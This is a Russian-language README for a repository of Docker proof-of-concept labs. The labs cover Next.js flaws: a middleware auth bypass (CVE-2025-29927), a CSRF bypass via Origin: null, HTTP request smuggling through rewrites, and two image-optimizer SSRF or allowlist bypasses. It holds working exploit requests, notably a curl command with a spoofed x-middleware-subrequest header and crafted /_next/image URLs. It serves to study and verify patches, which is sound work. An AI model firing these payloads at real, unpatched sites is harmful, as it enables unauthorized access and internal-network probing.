
Некоторые Proof-of-Concept (POCs) для CVE-2025-29927, CVE-2026-27978 и CVE-2026-29057 в Next.js.
Этот репозиторий содержит воспроизводимые proof-of-concept среды для трёх уязвимостей Next.js. Каждый PoC включает уязвимую цель, исправленную цель и скрипт, демонстрирующий разницу в поведении между ними.
Цель этого проекта — сделать первопричину и практическое влияние каждой проблемы легко наблюдаемыми в минимальной среде.
| CVE | Advisory | Влияние | Уязвимая версия | Исправленная версия |
|---|
CVE-2025-29927 | GHSA-f82v-jwr5-mffw | обход авторизации, когда контроль доступа полагается только на middleware | 15.2.2 | 15.2.3 |
CVE-2026-27978 | GHSA-mq59-m269-xvcx | обход проверок CSRF для Server Actions через Origin: null | 16.1.6 | 16.1.7 |
CVE-2026-29057 | GHSA-ggv3-7p47-pfv8 | HTTP request smuggling через rewrites во внешний бэкенд | 15.5.12 | 15.5.13 |
NEXT-16.2.4-IMAGE-REDIRECT | локальная находка при аудите исходного кода | обход удалённого allowlist оптимизатора изображений через redirects | 16.2.4 | не проверено |
NEXT-16.2.4-IMAGE-LOCAL-REWRITE | локальная находка при аудите исходного кода | локальный URL оптимизатора изображений может достичь приватного upstream через внешние rewrites | 16.2.4 | не проверено |
Хэши ниже взяты из upstream-репозитория vercel/next.js.
| CVE | Коммит уязвимого релиза | Коммит исправленного релиза | Соответствующий коммит патча |
|---|---|---|---|
CVE-2025-29927 | v15.2.2 -> f4552826e1ed15fbeb951be552d67c5a08ad0672 | v15.2.3 -> 535e26d3c69de49df8bd17618a424cbe65ec897b | 52a078da3884efe6501613c7834a3d02a91676d2 |
CVE-2026-27978 | v16.1.6 -> adf8c612adddd103647c90ff0f511ea35c57076e | v16.1.7 -> bdf3e3577a6d55ea186a48238d61fbd8da07a626 | a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8 |
CVE-2026-29057 | v15.5.12 -> d23f41c42506005fe6978e076a1ccbf8979e4925 | v15.5.13 -> cfd5f533b08df3038476dcd54f1d6d660d85f069 | dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6 |
.
|- docker-compose.yml
|- pocs/
| |- cve-2025-29927/
| |- cve-2026-27978/
| |- cve-2026-29057/
| |- next-16.2.4-image-redirect-allowlist-bypass/
| `- next-16.2.4-image-local-rewrite-ssrf/
`- scripts/
|- run-cve-2025-29927.mjs
|- run-cve-2026-27978.mjs
|- run-cve-2026-29057.mjs
|- run-next-16.2.4-image-redirect-allowlist-bypass.mjs
`- run-next-16.2.4-image-local-rewrite-ssrf.mjs
docker compose доступен.docker compose up --build
Открытые порты:
3001 -> CVE-2025-29927 уязвимая3002 -> CVE-2025-29927 исправленная3003 -> CVE-2026-27978 уязвимая3004 -> CVE-2026-27978 исправленная3005 -> CVE-2026-29057 уязвимая3006 -> CVE-2026-29057 исправленная3007 -> NEXT-16.2.4-IMAGE-REDIRECT3008 -> NEXT-16.2.4-IMAGE-LOCAL-REWRITEВ этом PoC /dashboard защищён только middleware:
export function middleware(request) {
const session = request.cookies.get('session')?.value
if (session !== 'admin') {
return NextResponse.redirect(new URL('/login', request.url))
}
return NextResponse.next()
}
Сама проверка авторизации не является некорректной. Проблема в том, что маршрут полностью полагается на предположение о том, что выполнение middleware нельзя пропустить.
В затронутых версиях Next.js внешние запросы могли по-прежнему передавать внутренний заголовок x-middleware-subrequest, и рантайм обрабатывал это значение как доверенные метаданные middleware. Соответствующая уязвимая логика выглядела так:
const INTERNAL_HEADERS = [
'x-middleware-rewrite',
'x-middleware-redirect',
'x-middleware-set-cookie',
'x-middleware-skip',
'x-middleware-override-headers',
'x-middleware-next',
'x-now-route-matches',
'x-matched-path',
]
export const filterInternalHeaders = (headers) => {
for (const header in headers) {
if (INTERNAL_HEADERS.includes(header)) {
delete headers[header]
}
}
}
x-middleware-subrequest не фильтровался там, поэтому управляемые атакующим входные данные могли достигать рантайма middleware. Затем это значение использовалось для вычисления глубины рекурсии:
const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []
const depth = subrequests.reduce(
(acc, curr) => (curr === params.name ? acc + 1 : acc),
0
)
if (depth >= MAX_RECURSION_DEPTH) {
return {
response: new Response(null, {
headers: {
'x-middleware-next': '1',
},
}),
}
}
Если атакующий отправляет middleware:middleware:middleware:middleware:middleware, рантайм может заключить, что глубина рекурсии уже достигнута, и передать запрос дальше без выполнения middleware приложения.
docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002
Ожидаемое поведение:
3001 возвращает редирект без заголовка эксплойта, но возвращает 200 OK с x-middleware-subrequest.3002 продолжает перенаправлять на /login, поскольку внутренний заголовок больше не является доверенным для внешнего ввода.Этот PoC предоставляет обычный Server Action, который изменяет состояние на стороне сервера:
'use server'
import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'
export async function transferFunds(formData) {
const cookieStore = await cookies()
const session = cookieStore.get('session')?.value
if (!session) {
throw new Error('Victim session cookie is missing.')
}
const amount = Number(formData.get('amount') || '0')
recordTransfer(session, amount)
revalidatePath('/')
}
Проблема не в самом transferFunds(). Уязвимое поведение было в проверке CSRF для Server Actions в Next.js. В затронутых версиях Origin: null обрабатывался как отсутствующий origin вместо явного opaque-происхождения:
const originHeader = req.headers['origin']
const originDomain =
typeof originHeader === 'string' && originHeader !== 'null'
? new URL(originHeader).host
: undefined
const host = parseHostHeader(req.headers)
if (!originDomain) {
warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
// Ignore it
} else {
const error = new Error('Invalid Server Actions request.')
// ...
}
}
Поскольку 'null' становился undefined, запросы из opaque-происхождений, таких как sandboxed iframe, могли избегать сравнения host/origin и всё равно обрабатываться с cookie жертвы.
docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004
Ожидаемое поведение:
Origin: nullЭтот PoC перенаправляет /rewrites/:path* во внешний бэкенд:
/** @type {import('next').NextConfig} */
const nextConfig = {
async rewrites() {
return [
{
source: '/rewrites/:path*',
destination: 'http://127.0.0.1:4000/rewrites/:path*',
},
]
},
}
module.exports = nextConfig
Уязвимое поведение было во встроенной зависимости http-proxy, используемой Next.js для rewrites. В затронутых версиях логика прокси для запросов DELETE и OPTIONS могла добавлять content-length: 0 и удалять transfer-encoding:
deleteLength: function deleteLength(req, res, options) {
if (
(req.method === 'DELETE' || req.method === 'OPTIONS') &&
!req.headers['content-length']
) {
req.headers['content-length'] = '0'
delete req.headers['transfer-encoding']
}
},
Это создавало несогласованность границ запроса между прокси-цепочкой и бэкендом, когда пересылался специально сформированный chunked-запрос. В результате второй запрос мог быть «протащен» (smuggled) к бэкенду через то же соединение.
docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed
node scripts/run-cve-2026-29057.mjs http://localhost:3005
node scripts/run-cve-2026-29057.mjs http://localhost:3006
Ожидаемое поведение:
DELETE /rewrites/poc, содержащий протащенный GET /secretDELETE /rewrites/poc, и GET /secretПример наблюдаемого вывода:
$ node scripts/run-cve-2026-29057.mjs http://localhost:3005
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]}
PoC result: vulnerable behavior reproduced.
$ node scripts/run-cve-2026-29057.mjs http://localhost:3006
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc"]}
PoC result: smuggled request was not observed. This usually means the target is patched.
Локальный исходный код next.js-16.2.4 проверяет images.remotePatterns только для исходного параметра url в ImageOptimizerCache.validateParams():
if (!hasRemoteMatch(domains, remotePatterns, hrefParsed)) {
return { errorMessage: '"url" parameter is not allowed' }
}
Затем путь сетевого получения следует за редиректами рекурсивно в fetchExternalImage():
const redirect = new URL(locationHeader, href).href
return fetchExternalImage(
redirect,
dangerouslyAllowLocalIP,
maximumResponseBody,
count - 1
)
Этот рекурсивный вызов сохраняет проверку приватных IP, но не получает и не применяет повторно domains / remotePatterns. Таким образом, разрешённый источник изображений может перенаправить оптимизатор на другой публичный origin, который не прошёл бы исходный allowlist изображений.
В PoC используются сервисы localhost, а dangerouslyAllowLocalIP: true задан только для того, чтобы поведение allowlist можно было воспроизвести без внешней инфраструктуры. Настроенный allowlist изображений разрешает только http://127.0.0.1:4100/allowed/**; этот сервер перенаправляет на http://127.0.0.1:4200/blocked/private.png, а второй сервер записывает, был ли он достигнут.
docker compose up --build next-16-image-redirect-bypass
node scripts/run-next-16.2.4-image-redirect-allowlist-bypass.mjs http://localhost:3007
Ожидаемое поведение:
41004200, который находится вне images.remotePatterns4200 записывает GET /blocked/private.pngcurl -i http://localhost:3001/dashboard
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/dashboard
Используйте предоставленный скрипт, поскольку поле Server Action генерируется сервером динамически.
Используйте предоставленный скрипт, поскольку эксплойт полагается на сырую TCP-нагрузку с протащенным вторым запросом.
curl "http://localhost:3007/_next/image?url=http%3A%2F%2F127.0.0.1%3A4100%2Fallowed%2Fredirect.png&w=64&q=75"
curl http://localhost:3007/api/state
Для локального URL изображения ImageOptimizerCache.validateParams() проверяет только локальный pathname на соответствие images.localPatterns:
if (!hasLocalMatch(localPatterns, url)) {
return { errorMessage: '"url" parameter is not allowed' }
}
Затем внутренний путь получения снова входит в обработчик запросов Next.js:
await handleRequest(mocked.req, mocked.res, nodeUrl.parse(href, true))
Если соответствующий локальный маршрут настроен как внешний rewrite, запрос может быть проксирован на этот внешний адрес. Этот путь не вызывает fetchExternalImage(), поэтому защита от приватных IP, используемая для абсолютных URL изображений, не применяется к переписанному адресу назначения.
Конфигурация PoC разрешает только локальные URL изображений в /allowed/**, а затем перенаправляет этот путь на http://127.0.0.1:4300/private/:path*:
const nextConfig = {
images: {
localPatterns: [{ pathname: '/allowed/**' }],
},
async rewrites() {
return [
{
source: '/allowed/:path*',
destination: 'http://127.0.0.1:4300/private/:path*',
},
]
},
}
docker compose up --build next-16-image-local-rewrite-ssrf
node scripts/run-next-16.2.4-image-local-rewrite-ssrf.mjs http://localhost:3008
Ожидаемое поведение:
/allowed/secret.png, поскольку он соответствует images.localPatternshttp://127.0.0.1:4300/private/secret.pngGET /private/secret.pngcurl "http://localhost:3008/_next/image?url=%2Fallowed%2Fsecret.png&w=64&q=75"
curl http://localhost:3008/api/state